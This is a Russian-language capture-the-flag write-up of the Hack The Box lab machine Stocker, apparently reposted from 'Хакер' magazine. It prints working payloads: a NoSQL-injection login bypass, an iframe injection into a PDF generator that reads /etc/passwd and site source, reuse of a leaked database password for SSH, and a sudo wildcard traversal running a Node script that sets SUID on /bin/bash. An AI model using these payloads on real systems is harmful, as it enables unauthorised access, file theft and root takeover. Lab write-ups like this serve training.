Хакер - HTB Stocker. Используем генератор PDF для произвольного чтения файлов
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Произвольное чтение файлов
- Локальное повышение привилегий
В этом райтапе я покажу типичный сценарий захвата веб‑сервера. Сначала проведем базовое сканирование сайта на предмет скрытых каталогов, затем проведем NoSQL-инъекцию, чтобы обойти авторизацию, и HTML-инъекцию, чтобы прочитать произвольные файлы. При повышении привилегий используем обход каталогов Bash для чтения пользовательского скрипта.
Захватывать будем тренировочную машину Stocker с площадки Hack The Box. Уровень ее сложности — легкий.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.196 stocker.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0. С SSH сейчас ничего сделать не можем, поэтому проходим к веб‑серверу.
ТОЧКА ВХОДА
На сайте ничего интересного найти не удалось, поэтому приступим к поиску скрытых файлов и каталогов, на которые не ведут ссылки. Я для этого использую feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-u
— URL;-w
— словарь (я использую словари из набора SecLists);-t
— количество потоков;-d
— глубина сканирования.
Набираем такую команду:
feroxbuster -u http://stocker.htb/ -w directory_2.3_medium_lowercase.txt -d 2 -t 256
Ничего найти не удалось, поэтому сканируем поддомены. Их я исследую с помощью ffuf, перебирая заголовок Host
(остальные ключи те же, что у ferox).
ffuf -u http://stocker.htb/ -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.stocker.htb'
В выводе получаем все слова из списка, поэтому стоит использовать фильтр (параметр -fs
), отсекающий ненужные ответы по размеру страницы.
ffuf -u http://stocker.htb/ -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.stocker.htb' -fs 178
И находим всего один новый поддомен — dev
. Добавляем его в файл /etc/hosts
.
10.10.11.196 stocker.htb dev.stocker.htb
ТОЧКА ОПОРЫ
Возможности авторизоваться на сайте нет, поэтому будем искать обходные пути.
Я сразу протестировал разные варианты обхода авторизации для разных технологий и уязвимостей с помощью Burp Intruder. Ничего найти не удалось, поэтому я перешел к тем вариантам, которые в брутфорсер не заложены. Так доходим до одной из JSON-нагрузок для эксплуатации NoSQL-инъекции.
{
"username": {
"$ne": null
},
"password": {
"$ne": null
}
}
И нам становится доступен какой‑то онлайновый магазин.
Перейдем к списку товаров и добавим любой из них в корзину. Затем переходим к корзине и просматриваем ее содержимое.
Пробуем подтвердить покупку, после чего нам дают ссылку на чек.
При переходе по ссылке получаем отдельный PDF-документ с информацией о товаре.
Мы прошли полный путь от авторизации до получения чека, теперь перейдем к истории запросов в Burp History и подробнее посмотрим, что при этом происходило.
Произвольное чтение файлов
В запросе на генерирование файла видим отправляемые параметры.
Можно было бы вместо пути к картинке в параметре image
отправить путь к произвольному файлу, но картинка в отчете не отображается. Единственный параметр, который находит отражение в отчете, — это поле title
, наименование товара. Генераторы PDF часто позволяют проводить инъекцию тега iframe
, в котором мы можем отобразить локальный файл. Для примера попробуем вставить в PDF файл /etc/passwd
.
<iframe src=file:///etc/passwd height=800px width=800px></iframe>
В ответе видим идентификатор отчета, который вставляем в ссылку такого вида:
http://dev.stocker.htb/api/po/63fb37ad3724ba9a5070fffa
И вместо наименования товара получаем вставленный фрейм с запрошенным файлом. В etc/passwd
видим активного пользователя angoose
с действующей командной оболочкой /bin/bash
. Так как мы можем читать файлы, посмотрим исходные коды сайта.
По названию поддомена dev
предполагаем, что сайт расположен в соответствующем каталоге /var/www/dev/
. По названию параметра куки connect.sid
можно предположить, что используется Node.js, поэтому будем запрашивать файл /var/www/dev/index.js
.
<iframe src=file:///var/www/dev/index.js height=800px width=800px></iframe>
В исходном коде index.js
отмечаем использование СУБД MongoDB, а также учетные данные для подключения к базе.
mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1
Пробуем применить найденный пароль для авторизации по SSH от имени пользователя angoose
и получаем сессию на машине.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию. Я для этого обычно использую скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но ничего важного найти не удалось, кроме сообщения о запросе пароля для просмотра настроек sudoers.
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Выполним команду sudo -l
и введем известный пароль.
Мы можем выполнить от имени пользователя root такую команду:
/usr/bin/node /usr/local/scripts/*.js
В данном случае выполнить произвольный код Node.js очень легко, так как в значении символа «звездочка» можно передавать и последовательность ../../../
для обхода каталога. Используем это, чтобы создать файл rshell.js
, который присвоит бит SUID файлу командной оболочки /bin/bash
.
require('child_process').exec('chmod u+s /bin/bash')
Теперь выполним скрипт следующей командой, после чего проверим права файла /bin/bash
:
sudo /usr/bin/node /usr/local/scripts/../../../../home/angoose/rshell.js
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Флаг рута у нас, а значит, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei